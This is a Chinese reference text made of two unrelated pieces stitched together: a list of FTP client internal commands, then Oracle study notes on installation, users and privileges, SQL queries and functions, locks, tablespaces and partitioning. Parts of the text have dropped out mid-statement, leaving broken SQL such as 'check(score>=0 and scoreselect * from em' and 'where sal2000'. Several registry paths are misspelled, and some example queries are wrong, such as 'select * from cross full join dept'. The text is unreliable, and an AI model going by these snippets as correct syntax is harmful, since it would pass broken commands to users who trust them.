-n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
oracle学习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰 第一章 Oracle入门 一、 数据库概述 数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,它产生于距今五十年前。简单来说是本身可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。 常见的数据模型 1. 层次结构模型: 层次结构模型实质上是一种有根结点的定向有序树,IMS(Information Manage-mentSystem)是其典型代表。 2. 网状结构模型:按照网状数据结构建立的数据库系统称为网状数据库系统,其典型代表是DBTG(Data Base Task Group)。 3. 关系结构模型:关系式数据结构把一些复杂的数据结构归结为简单的二元关系(即二维表格形式)。常见的有Oracle、mssql、mysql等 二、 主流数据库 数据库名 公司 特点 工作环境 mssql 微软 只能能运行在windows平台,体积比较庞大,占用许多系统资源, 但使用很方便,支持命令和图形化管理,收费。 中型企业 Mysql 甲骨文 是个开源的数据库server,可运行在多种平台, 特点是响应速度特别快,主要面向中小企业 中小型企业 PostgreSQL 号称“世界上最先进的开源数据库“,可以运行在多种平台下,是tb级数据库,而且性能也很好 中大型企业 oracle 甲骨文 获得最高认证级别的ISO标准安全认证,性能最高, 保持开放平台下的TPC-D和TPC-C的世界记录。但价格不菲 大型企业 db2 IBM DB2在企业级的应用最为广泛, 在全球的500家最大的企业中,几乎85%以上用DB2数据库服务器。收费 大型企业 Access 微软 Access是一种桌面数据库,只适合数据量少的应用,在处理少量 数据和单机访问的数据库时是很好的,效率也很高 小型企业 三、 Oracle数据库概述 ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。  拉里•埃里森  就业前景 从就业与择业的角度来讲,计算机相关专业的大学生从事oracle方面的技术是职业发展中的最佳选择。 其一、就业面广:全球前100强企业99家都在使用ORACLE相关技术,中国政府机构,大中型企事业单位都能有ORACLE技术的工程师岗位。 其二、技术层次深:如果期望进入IT服务或者产品公司(类似毕博、DELL、IBM等),Oracle技术能够帮助提高就业的深度。 其三、职业方向多:Oracle数据库管理方向、Oracle开发及系统架构方向、Oracle数据建模数据仓库等方向。 四、 如何学习 认真听课、多思考问题、多动手操作、有问题一定要问、多参与讨论、多帮组同学 五、 体系结构 oracle的体系很庞大,要学习它,首先要了解oracle的框架。oracle的框架主要由物理结构、逻辑结构、内存分配、后台进程、oracle例程、系统改变号 (System Change Number)组成  物理结构 物理结构包含三种数据文件: 1) 控制文件 2) 数据文件 3) 在线重做日志文件  逻辑结构 功能:数据库如何使用物理空间 组成:表空间、段、区、块的组成层次 六、 oracle安装、卸载和启动  硬件 物理内存:1GB 可用物理内存:50M 交换空间大小:3.25GB 硬盘空间:10GB  安装 1. 安装程序成功下载,将会得到如下2个文件: 解压文件将得到database文件文件组织如下: 点击setup.exe执行安装程序,开始安装。 2. 点击安装程序将会出现如下安装界面,步骤 1/9:配置安全更新 填写电子邮件地址(可以不填),去掉复选框,点击下一步 3. 步骤2/9:选择安装选项 勾选第一个,安装和配置数据库,点击下一步 4. 步骤3/8:选择系统类 勾选第一个:桌面类,点击下一步 5. 步骤4/8:配置数据库安装 选择安装路径,选择数据库版本(企业版),选择字符集(默认值) 填写全局数据库名,管理口令 6. 步骤5/8:先决条件检查 如果你的电脑满足但仍然显示检查失败,这时候直接忽略,勾选全部忽略 7. 步骤6/8:概要信息 核对将要安装数据的详细信息,并保存响应文件,以备以后查看。然后点击完成数据库安装 8. 步骤7/8:安装产品 产品安装过程中将会出现以上2个界面 9. 步骤8/8:完成安装  卸载Oracle 1. 在运行services.msc打开服务,停止Oracle的所有服务。 2. oracle11G自带一个卸载批处理\app\Administrator\product\11.2.0\dbhome_1\deinstall\deinstall.bat 3. 运行该批处理程序将自动完成oracle卸载工作,最后手动删除\app文件(可能需要重启才能删除) 4. 运行regedit命令,打开注册表窗口。删除注册表中与Oracle相关的内容,具体如下:  删除HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE目录。  删除HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services中所有以oracle或OraWeb为开头的键。  删除HKEY_LOCAL_MACHINE/SYSETM/CurrentControlSet/Services/Eventlog/application中所有以oracle开头的键。  删除HKEY_CLASSES_ROOT目录下所有以Ora、Oracle、Orcl或EnumOra为前缀的键。  删除HKEY_CURRENT_USER/SOFTWARE/Microsoft/windows/CurrentVersion/Explorer/MenuOrder/Start Menu/Programs中所有以oracle 开头的键。  删除HKDY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI中除Microsoft ODBC for Oracle注册表键以外的所有含有Oracle的键。  删除环境变量中的PATHT CLASSPATH中包含Oracle的值。  删除“开始”/“程序”中所有Oracle的组和图标。  删除所有与Oracle相关的目录,包括: C:\Program file\Oracle目录。 ORACLE_BASE目录。 C:\Documents and Settings\系统用户名、LocalSettings\Temp目录下的临时文件。 七、 oracle中的数据库 八、 常用的工具  Sql Plus  Sql Developer  Oracle Enterprise Manager   第二章 用户和权限 一、 用户介绍 ORACLE用户是学习ORACLE数据库中的基础知识,下面就介绍下类系统常用的默认ORACLE用户: 1. sys用户:超级用户,完全是个SYSDBA(管理数据库的人)。拥有dba,sysdba,sysoper等角色或权限。是oracle权限最高的用户,登录时不能用normal。 2. system用户:超级用户,默认是SYSOPT(操作数据库的人),不过它也能以SYSDBA的权限登陆。拥有普通dba角色权限。 3. scott用户:是个演示用户,是让你学习Oracle用的。 二、 常用命令 学习oracle,首先我们必须要掌握常用的基本命令,oracle中的命令比较多,常用的命令如下: 1. 登录命令(sqlplus) 说明:用于登录到oracle数据库 用法:sqlplus 用户名/密码 [as sysdba/sysoper] 注意:当用特权用户登录时,必须带上sysdba或sysoper 例子: 普通用户登录 sys用户登录 操作系统的身份登录 2. 连接命令(conn) 说明:用于连接到oracle数据库,也可实现用户的切换 用法:conn 用户名/密码 [as sysdba/sysoper] 注意:当用特权用户连接时,必须带上sysdba或sysoper 例子: 3. 断开连接(disc) 说明:断开与当前数据库的连接 用法:disc 4. 显示用户名(show user) 说明:显示当前用户名 用法:show user 5. 退出(exit) 说明:断开与当前数据库的连接并会退出 用法:exit 6. 编辑脚本(edit/ed) 说明:编辑指定或缓冲区的sql脚本 用法:edit [文件名] 列子: 7. 运行脚本 (start/@) 说明:运行指定的sql脚本 用法:start/@ 文件名 列子: 8. 印刷屏幕 (spool) 说明:将sql*plus屏幕中的内容输出到指定的文件 用法:开始印刷->spool 文件名 结束印刷->spool off 列子: 文件内容 9. 显示宽度 (linesize) 说明:设置显示行的宽度,默认是80个字符 用法:set linesize 120 10. 显示页数 (pagesize) 说明:设置每页显示的行数,默认是14页 用法:set pagesize 20 三、 用户管理 1. 创建用户 说明:Oracle中需要创建用户一定是要具有dba(数据库管理员)权限的用户才能创建,而且创建的新用户不具备任何权限,连登录都不可以。 用法:create user 新用户名 identified by 密码 例子: 2. 修改密码 说明:修改用户密码一般有两种方式,一种是通过命令password修改,另一种是通过语句alter user实现,如果要修改他人的密码,必须要具有相关的权限才可以 用法: 方式一 password [用户名] 方式二 alert user 用户名 identified by 新密码 例子: 修改当前用户(方式一) 修改当前用户(方式二) 修改其他用户(方式一) 修改其他用户(方式二) 3. 用户禁用与启用 说明:Oracle中想要禁用或启用一个账户也同样是使用alter user 命令来完成,只是语法和修改密码有所不同。 用法: 禁用 alert user 用户名 account lock 启用 alert user 用户名 account unlock 4. 删除用户 说明:Oracle中要删除一个用户,必须要具有dba的权限。而且不能删除当前用户,如果删除的用户有数据对象,那么必须加上关键字cascade。 用法:drop user 用户名 [cascade] 四、 用户权限与角色 1. 权限 Oracle中权限主要分为两种,系统权限和实体权限。  系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。  DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。  RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。  CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。 注意: 对于普通用户:授予connect, resource权限。 对于DBA管理用户:授予connect,resource, dba权限。  授予系统权限 说明:要实现授予系统权限只能由DBA用户授出。 用法:grant 系统权限1[,系统权限2]… to 用户名1[,用户名2]…. 例子:  系统权限回收: 说明:系统权限只能由DBA用户回收 用法:revoke 系统权限 from 用户名 例子:  实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。主要包括select, update, insert, alter, index, delete, all其中all包括所有权限。  授予实体权限 用法:grant 实体权限1[,实体权限2]… on 表名 to用户名1[,用户名2]…. 例子:  实体权限回收 用法:revoke 实体权限 on 表名from 用户名 例子:  查询用户拥有哪里权限: SQL> select * from role_tab_privs;//查询授予角色的对象权限 SQL> select * from role_role_privs;//查询授予另一角色的角色 SQL> select * from DBA_tab_privs;//查询直接授予用户的对象权限 SQL> select * from dba_role_privs;//查询授予用户的角色 SQL> select * from dba_sys_privs;//查询授予用户的系统权限 SQL> select * from role_sys_privs;//查询授予角色的系统权限 SQL> Select * from session_privs;// 查询当前用户所拥有的权限 2. 角色 角色。角色是一组权限的集合,将角色赋给一个用户,这个用户就拥有了这个角色中的所有权限。  系统预定义角色 预定义角色是在数据库安装后,系统自动创建的一些常用的角色。下面我们就简单介绍些系统角色:  CONNECT, RESOURCE, DBA这些预定义角色主要是为了向后兼容。其主要是用于数据库管理。oracle建议用户自己设计数据库管理和安全的权限规划,而不要简单的使用这些预定角色。将来的版本中这些角色可能不会作为预定义角色。  DELETE_CATALOG_ROLE, EXECUTE_CATALOG_ROLE,SELECT_CATALOG_ROLE这些角色主要用于访问数据字典视图和包。  EXP_FULL_DATABASE, IMP_FULL_DATABASE这两个角色用于数据导入导出工具的使用。  自定义角色 Oracle建议我们自定义自己的角色,使我们更加灵活方便去管理用户  创建角色 SQL> create role admin;  授权给角色 SQL> grant connect,resource to admin;  撤销角色的权限 SQL> revoke connect from admin;  删除角色 SQL> drop role admin;   第三章 Sql查询与函数 一、 SQL概述 SQL(Structured Query Language)结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。  SQL语言主要包含5个部分  数据定义语言Data Definition Language(DDL),用来建立数据库、数据对象和定义其列。例如:CREATE、DROP、ALTER等语句。  数据操作语言Data Manipulation Language(DML),用来插入、修改、删除、查询,可以修改数据库中的数据。例如:INSERT(插入)、UPDATE(修改)、DELETE(删除语句  数据查询语言 (Data Query Language, DQL) 是SQL语言中,负责进行数据查询而不会对数据本身进行修改的语句,这是最基本的SQL语句。例如:SELECT(查询)  数据控制语言Data Controlling Language(DCL),用来控制数据库组件的存取允许、存取权限等。例如:GRANT、REVOKE、COMMIT、ROLLBACK等语句。  事务控制语言(Transactional Control Language,TCL),用于维护数据的一致性,包括COMMIT(提交事务)、ROLLBACK(回滚事务)和SAVEPOINT(设置保存点)3条语句 二、 Oracle的数据类型 类型 参数 描述 字符类型 char 1~2000字节 固定长度字符串,长度不够的用空格补充 varchar2 1~4000字节 可变长度字符串,与CHAR类型相比,使用VARCHAR2可以节省磁盘空间,但查询效率没有char类型高 数值类型 Number(m,n) m(1~38) n(-84~127) 可以存储正数、负数、零、定点数和精度为38位的浮点数,其中,M表示精度,代表数字的总位数;N表示小数点右边数字的位数 日期类型 date 7字节 用于存储表中的日期和时间数据,取值范围是公元前4712年1月1日至公元9999年12月31日,7个字节分别表示世纪、年、月、日、时、分和秒 二进制数据类型 row 1~2000字节 可变长二进制数据,在具体定义字段的时候必须指明最大长度n long raw 1~2GB 可变长二进制数据 LOB数据类型 clob 1~4GB 只能存储字符数据 nclob 1~4GB 保存本地语言字符集数据 blob 1~4GB 以二进制信息保存数据 三、 DDL语言 1. Create table命令 用于创建表。在创建表时,经常会创建该表的主键、外键、唯一约束、Check约束等  语法结构 create table 表名( [字段名] [类型] [约束] ……….. CONSTRAINT fk_column FOREIGN KEY(column1,column2,…..column_n) REFERENCES tablename(column1,column2,…..column_n) )  例子: create table student( stuNo char(32) primary key,--主键约束 stuName varchar2(20) not null,--非空约束 cardId char(20) unique,--唯一约束 sex char(2) check(sex='男' or sex='女'),--检查约束 address varchar2(100) default '地址不详'--默认约束 ) create table mark( mid int primary key,--主键约束 stuNo char(32) not null, courseName varchar2(20) not null,--非空约束 score number(3) not null check(score>=0 and scoreselect * from em--查询所有数据 SQL>select ename,job from em--查询指定的字段数据 SQL> select * from emp where sal>1000--加条件 2. 聚合函数 聚合函数对一组值执行计算并返回单一的值。聚合函数忽略空值。聚合函数经常与 SELECT 语句的 GROUP BY 子句一同使用。不能在 WHERE 子句中使用组函数。  AVG(expression): 返回集合中各值的平均值 --查询所有人都的平均工资 select avg(sal) from emp  COUNT(expression): 以 Int32 形式返回集合中的项数 --查询工资低于2000的人数 select count(*) from emp where sal2000 5. 连接查询 连接查询是关系数据库中最主要的查询,主要包括内连接、外连接和交叉连接等。通过连接运算符可以实现多个表查询。  内连接 内连接也叫连接,是最早的一种连接。还可以被称为普通连接或者自然连接,内连接是从结果表中删除与其他被连接表中没有匹配行的所有行,所以内连接可能会丢失信息。  等值连接: select * from emp inner join dept on emp.deptno=dept.deptno select * from emp,dept where emp.deptno=dept.deptno  不等值连接: select * from emp inner join dept on emp.deptno!=dept.deptno  外连接 外连接分为三种:左外连接,右外连接,全外连接。对应SQL:LEFT/RIGHT/FULL OUTER JOIN。通常我们省略outer 这个关键字。写成:LEFT/RIGHT/FULL JOIN。  左外连接(left join): 是以左表的记录为基础的 select * from emp left join dept on emp.deptno=dept.deptno  右外连接(right join): 和left join的结果刚好相反,是以右表(BL)为基础的 select * from emp right join dept on emp.deptno=dept.deptno  全外连接(full join): 左表和右表都不做限制,所有的记录都显示,两表不足的地方用null 填充 select * from emp full join dept on emp.deptno=dept.deptno  交叉连接 交叉连接即笛卡儿乘积,是指两个关系中所有元组的任意组合。一般情况下,交叉查询是没有实际意义的。 select * from cross full join dept 6. 常用查询  like模糊查询 --查询姓名首字母为S开始的员工信息 select * from emp where ename like 'S%' --查询姓名第三个字母为A的员工信息 select * from emp where ename like '__A%'  is null/is not null 查询 --查询没有奖金的雇员信息 select * from emp where comm is null --查询有奖金的雇员信息 select * from emp where comm is not null  in查询 --查询雇员编号为7566、7499、7844的雇员信息 select * from emp where empno in(7566,7499,7844)  exists/not exists查询(效率高于in) --查询有上级领导的雇员信息 select * from emp e where exists (select * from emp where empno=e.mgr) --查询没有上级领导的雇员信息 select * from emp e where not exists (select * from emp where empno=e.mgr)  all查询 --查询比部门编号为20的所有雇员工资都高的雇员信息 select * from emp where sal > all(select sal from emp where deptno=20)  union合并不重复 select * from emp where comm is not null union select * from emp where sal>3000  union all合并重复 select * from emp where comm is not null union all select * from emp where sal>3000 7. 子查询 当一个查询是另一个查询的条件时,称之为子查询。子查询是一个 SELECT 语句,它嵌套在一个 SELECT、SELECT...INTO 语句、INSERT...INTO 语句、DELETE 语句、或 UPDATE 语句或嵌套在另一子查询中。  在CREATE TABLE语句中使用子查询 --创建表并拷贝数据 create table temp(id,name,sal) as select empno,ename,sal from emp  在INSERT语句中使用子查询 --当前表拷贝 insert into temp(id,name,sal) select * from temp --从其他表指定字段拷贝 insert into temp(id,name,sal) select empno,ename,sal from emp  在DELETE语句中使用子查询 --删除SALES部门中的所有雇员 delete from emp where deptno in (select deptno from dept where dname='SALES')  在UPDATE语句中使用子查询 --修改scott用户的工资和smith的工资一致 update emp set sal=(select sal from emp where ename='SMITH') where ename='SCOTT' --修改black用户的工作,工资,奖金和scott一致 update emp set(job,sal,comm)=(select job,sal,comm from emp where ename='SCOTT') where ename='BLAKE'  在SELECT语句中使用子查询 --查询和ALLEN同一部门的员工信息 select * from emp where deptno in (select deptno from emp where ename='ALLEN') --查询工资大于部门平均工资的雇员信息 select * from emp e (select avg(sal) asal,deptno from emp group by deptno) t where e.deptno=t.deptno and e.sal>t.asal 六、 TCL语言 1. COMMIT commit --提交事务 2. ROLLBACK rollback to p1 --回滚到指定的保存点 rollback --回滚所有的保存点 3. SAVEPOINT savepoint p1 --设置保存点 4. 只读事务 只读事务是指只允许执行查询的操作,而不允许执行任何其它dml操作的事务,它的作用是确保用户只能取得某时间点的数据。 set transaction read only 七、 oracle函数 1. 字符串函数 字符串函数是oracle中比较常用的,下面我们就介绍些常用的字符串函数:  concat:字符串连接函数,也可以使用’||’ --将职位和雇员名称显示在一列中 select concat(ename,concat('(',concat(job,')'))) from emp select ename || '(' || job || ')' from emp  length:返回字符串的长度 --查询雇员名字长度为5个字符的信息 select * from emp where length(ename)=5  lower:将字符串转换成小写 --以小写方式显示雇员名 select lower(ename) from emp  upper:将字符串转换成大写 --以大写方式显示雇员名 select upper (ename) from emp  substr:截取字符串 --只显示雇员名的前3个字母 select substr(ename,0,3) from emp  replace:替换字符串 --将雇员的金额显示为*号 select ename,replace(sal,sal,’*’) from emp  instr:查找字符串 --查找雇员名含有’LA’字符的信息 select * from emp where instr(ename,’LA’)>0 2. 日期函数  sysdate:返回当前session所在时区的默认时间 --获取当前系统时间 select sysdate from dual  add_months:返回指定日期月份+n之后的值,n可以为任何整数 --查询当前系统月份+2的时间 select add_months(sysdate,2) from dual --查询当前系统月份-2的时间 select add_months(sysdate,-2) from dual  last_day:返回指定时间所在月的最后一天 --获取当前系统月份的最后一天 select last_day(sysdate) from dual  months_between:返回月份差,结果可正可负,当然也有可能为0 --获取入职日期距离当前时间多少天 select months_between(sysdate, hiredate) from emp  trunc:为指定元素而截去的日期值 --获取当前系统年,其他默认 select trunc(sysdate,'yy') from dual --查询81年2月份入职的雇员 select * from emp where trunc(hiredate,'mm')=trunc(to_date('1981-02','yyyy-mm'),'mm') 3. 转换函数  to_char:将任意类型转换成字符串 --日期转换 select to_char(sysdate, 'yyyy-mm-dd hh24:mi:ss') from dual --数字转换 select to_char(-100.789999999999,'L99G999D999') from dual  数字格式控制符 符号 描述 9 代表一位数字,如果当前位有数字,显示数字,否则不显示(小数部分仍然会强制显示) 0 强制显示该位,如果当前位有数字,显示数字,否则显示0 $ 增加美元符号显示 L 增加本地货币符号显示 . 小数点符号显示 , 千分位符号显示  to_date:将字符串转换成日期对象 --字符转换成日期 select to_date('2011-11-11 11:11:11', 'yyyy-mm-dd hh24:mi:ss') from dual  to_number:将字符转换成数字对象 --字符转换成数字对象 select to_number('209.976')*5 from dual select to_number('209.976', '9G999D999')*5 from dual 4. 数学函数  abs:返回数字的绝对值 select abs(-1999) from dual  ceil:返回大于或等于n的最小的整数值 select ceil(2.48) from dual  floor:返回小于等于n的最大整数值 select floor(2.48) from dual  round:四舍五入 select round(2.48) from dual select round(2.485,2) from dual  bin_to_num:二进制转换成十进制 select bin_to_num(1,0,0,1,0) from dual   第四章 锁 一、 概述 锁是实现数据库并发控制的一个非常重要的技术。当事务在对某个数据对象进行操作前,先向系统发出请,对其加锁。加锁后事务就对该数据对象有了一定的控制,在该事务释放锁之前,其他的事务不能对此数据对象进行更新操作。 在数据库中有两种基本的锁类型:排它锁(Exclusive Locks,即X锁)和共享锁(Share Locks,即S锁)。当数据对象被加上排它锁时,其他的事务不能对它读取和修改。加了共享锁的数据对象可以被其他事务读取,但不能修改。 根据保护的对象不同,Oracle数据库锁可以分为以下几大类:  DML锁(data locks,数据锁),用于保护数据的完整性  DDL锁(dictionary locks,字典锁),用于保护数据库对象的结构,如表、索引等的结构定义  内部锁和闩(internal locks and latches),保护数据库的内部结构 二、 DML锁 DML锁的目的在于保证并发情况下的数据完整性,在Oracle数据库中,DML锁主要包括TM锁和TX锁,其中TM锁称为表级锁,TX锁称为事务锁或行级锁。 1. 行级锁 当事务执行数据库插入、更新、删除操作时,该事务自动获得操作表中操作行的排它锁 --不允许其他用户对雇员表的部门编号为20的数据进行修改 select * from emp where deptno=20 for update --不允许其他用户对雇员表的所有数据进行修改 select * from emp for update --如果已经被锁定,就不用等待 select * from emp for update nowait --如果已经被锁定,更新的时候等待5秒 select * from emp for update wait 5 2. 锁模式  0(none)  1(null)  2(rs):行共享  3(rx):行排他  4(s):共享  5(srx):共享行排他  6(x):排他 数字越大,锁级别越高 3. 表级锁 当事务获得行锁后,此事务也将自动获得该行的表锁(行排他),以防止其它事务进行DDL语句影响记录行的更新  行共享锁(RS锁):允许用户进行任何操作,禁止排他锁 lock table emp in row share mode  行排他锁(RX锁):允许用户进行任何操作,禁止共享锁 lock table emp in row exclusive mode  共享锁(R锁):其他用户只能看,不能修改 lock table emp in share mode  排他锁(X锁):其他用户只能看,不能修改,不能加其他锁 lock table emp in exclusive mode  共享行排他(SRX锁):比行排他和共享锁级别高,不能添加共享锁 lock table emp in share row exclusive mode 4. 锁兼容性 S X RS RX SRX N/A S Y N Y N N Y X N N N N N Y RS Y N Y Y Y Y RX N N Y Y N Y SRX N N Y N N Y N/Y Y Y Y Y Y Y 5. 死锁 当两个事务需要一组有冲突的锁,而不能将事务继续下去的话,就出现死锁。 1) 用户A修改A表,事务不提交 2) 用户B修改B表,事务不提交 3) 用户A修改B表,阻塞 4) 用户B修改A表,阻塞 Oracle系统能自动发现死锁,并会自动选择工作量最少的事务进行撤销和释放所有锁 6. 悲观锁和乐观锁 数据的锁定分为两种方法,第一种叫做悲观锁,第二种叫做乐观锁  悲观锁:就是对数据的冲突采取一种悲观的态度,也就是说假设数据肯定会冲突,所以在数据开始读取的时候就把数据锁定住。  乐观锁:就是认为数据一般情况下不会造成冲突,所以在数据进行提交更新的时候,才会正式对数据的冲突与否进行检测,如果发现冲突了,则让用户返回错误的信息,让用户决定如何去做。 三、 DDL锁 1. 排它DDL锁 创建、修改、删除一个数据库对象的DDL语句获得操作对象的排它锁。 2. 共享DDL锁 需在数据库对象之间建立相互依赖关系的DDL语句通常需共享获得DDL锁 3. 分析锁 分析锁是一种独特的DDL锁类型,ORACLE使用它追踪共享池对象及它所引用数据库对象之间的依赖关系 四、 内部锁和闩 这是ORACLE中的一种特殊锁,用于顺序访问内部系统结构。当事务需向缓冲区写入信息时,为了使用此块内存区域,ORACLE首先必须取得这块内存区域的闩锁,才能向此块内存写入信息。   第五章 数据库对象 一、 概述 ORACLE数据库主要有如下数据库对象:  tablespace and datafile(表空间和数据文件)  table(表)  constraints(约束)  index(索引)  view(试图)  sequence(序列)  synonyms(同义词)  DB-link(数据库链路) 二、 表空间和数据文件 表空间是数据库的逻辑组成部分,从物理上讲,数据库数据是存放在数据文件中,从逻辑上讲数据库则是存放在表空间中,表空间是由一个或多个数据文件组成。  表空间  某一时刻只能属于一个数据库  由一个或多个数据文件组成  可进一步划分为逻辑存储  表空间主要分为两种  System表空间  随数据库创建  包含数据字典  包含system还原段  非system表空间  用于分开存储段  易于空间管理  控制分配给用户的空间量  数据文件  只能属于一个表空间和一个数据库  是方案对象数据的资料档案库  创建表空间  语法 CREATE TABLESPACE tablespacename [DATAFILE clause] [MINIMUM EXTENT integer[k|m]] [BLOCKSIZE integer[k]] [LOGGING|NOLOGGING] [DEFAULT storage_clause] [ONLINE|OFFLINE] [PERMANENT|TEMPORARY] [extent_management_clause] [segment_management_clause]  例子 --创建本地管理表空间 create tablespace firstSpance datafile 'e:/firstspance.dbf'size 100M extent management local uniform size 256k --修改文件大小 alter database datafile 'e:/firstspance.dbf' resize 110m --删除表空间 drop tablespace firstSpance INCLUDING CONTENTS and datafiles --使用数据库表空间 --创建用户指定表空间 create user guest identified by 123456 default tablespace firstSpance --表中指定表空间 create table account( accountid number(4), accountName varchar2(20) )tablespace firstSpance --表空间脱机 alter tablespace firstSpance offline --表空间联机 alter tablespace firstSpance online --表空间只读,不能进行dml操作 alter tablespace firstSpance read only 三、 同义词 Oracle数据库中提供了同义词管理的功能。同义词是数据库方案对象的一个别名,经常用于简化对象访问和提高对象访问的安全性。Oracle同义词有两种类型,分别是公用Oracle同义词与私有Oracle同义词。  公有同义词  语法 CREATE [OR REPLACE] PUBLIC SYNONYM sys_name FOR [SCHEMA.] object_name  创建(需拥有CREATE PUBLIC SYNONYM权限才可以创建) --创建同义词 create public synonym syn_emp for scott.emp --访问同义词 select * from syn_emp  删除 drop public synonym syn_emp  私有同义词  语法 CREATE [OR REPLACE] SYNONYM sys_name FOR [SCHEMA.] object_name  创建 --创建同义词 create synonym syn_pri_emp for emp --访问同义词 select * from syn_ pri _emp  删除 drop public synonym syn_emp 四、 表分区 当表中的数据量不断增大,查询数据的速度就会变慢,应用程序的性能就会下降,这时就应该考虑对表进行分区。表进行分区后,逻辑上表仍然是一张完整的表,只是将表中的数据在物理上存放到多个表空间(物理文件上),这样查询数据时,不至于每次都扫描整张表。  优点:  改善查询性能:对分区对象的查询可以仅搜索自己关心的分区,提高检索速度。  增强可用性:如果表的某个分区出现故障,表在其他分区的数据仍然可用;  维护方便:如果表的某个分区出现故障,需要修复数据,只修复该分区即可;  均衡I/O:可以把不同的分区映射到磁盘以平衡I/O,改善整个系统性能。  使用场合  表的大小超过2GB  表中包含历史数据,新的数据被增加都新的分区中  常见分区方法:  范围 --- 8  Hash --- 8i  列表 --- 9i  组合 